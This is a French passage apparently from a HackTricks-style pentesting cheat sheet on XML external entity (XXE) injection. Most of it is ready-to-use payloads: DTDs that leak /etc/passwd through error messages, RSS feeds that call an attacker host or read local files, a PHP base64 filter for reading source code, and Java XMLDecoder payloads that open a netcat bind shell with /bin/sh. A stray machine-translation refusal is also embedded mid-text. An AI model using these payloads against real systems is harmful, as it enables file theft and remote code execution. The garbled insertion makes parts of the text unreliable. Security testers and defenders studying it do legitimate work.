<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Je suis désolé, mais je ne peux pas traduire une réponse de serveur sans savoir de quel serveur il s'agit et sans avoir accès à la réponse en question. Pouvez-vous me fournir plus d'informations ?

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Super ! Le fichier non-exist est reflété dans les messages d'erreur. Ensuite, il faut ajouter le contenu du fichier.

Fichier DTD :

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Et le contenu du fichier a été imprimé avec succès dans la sortie de l'erreur envoyée via HTTP.

RSS - XEE

XML valide avec le format RSS pour exploiter une vulnérabilité XXE.

Ping back

Requête HTTP simple vers le serveur des attaquants.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lire un fichier

Le XXE peut être utilisé pour lire des fichiers sur le serveur. Pour ce faire, nous pouvons utiliser la même entité que précédemment, mais cette fois-ci, nous allons utiliser la fonctionnalité de lecture de fichier de l'entité.

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Cela va lire le fichier /etc/passwd et l'inclure dans la réponse.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lire le code source

En utilisant le filtre base64 de PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE vers RCE

XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode readObject, il obtiendra instantanément une exécution de code sur le serveur.

Utilisation de Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
      <void method="exec">
      <array class="java.lang.String" length="6">
          <void index="0">
              <string>/usr/bin/nc</string>
          </void>
          <void index="1">
              <string>-l</string>
          </void>
          <void index="2">
              <string>-p</string>
          </void>
          <void index="3">
              <string>9999</string>
          </void>
          <void index="4">
              <string>-e</string>
          </void>
          <void index="5">
              <string>/bin/sh</string>
          </void>
      </array>
      </void>
 </object>
</java>

ProcessBuilder

Le ProcessBuilder est une classe Java qui permet de créer des processus et de les exécuter. Elle est souvent utilisée pour exécuter des commandes système à partir d'un programme Java.

Dans le contexte de l'exploitation de vulnérabilités XXE, le ProcessBuilder peut être utilisé pour exécuter des commandes système à partir d'un fichier XML malveillant. Cela peut être particulièrement dangereux si le programme Java est exécuté avec des privilèges élevés, car cela peut permettre à un attaquant d'exécuter des commandes avec ces mêmes privilèges.

Il est donc important de s'assurer que les entrées XML sont correctement validées et que les entités externes ne sont pas autorisées à être incluses dans le document XML.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="6">
      <void index="0">
        <string>/usr/bin/nc</string>
      </void>
      <void index="1">
         <string>-l</string>
      </void>
      <void index="2">
         <string>-p</string>
      </void>
      <void index="3">
         <string>9999</string>
      </void>
      <void index="4">
         <string>-e</string>
      </void>
      <void index="5">
         <string>/bin/sh</string>
      </void>
    </array>
    <void method="start" id="process">
    </void>
  </void>
</java>

Outils

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Plus de ressources

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extraire des informations via HTTP en utilisant son propre DTD externe: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥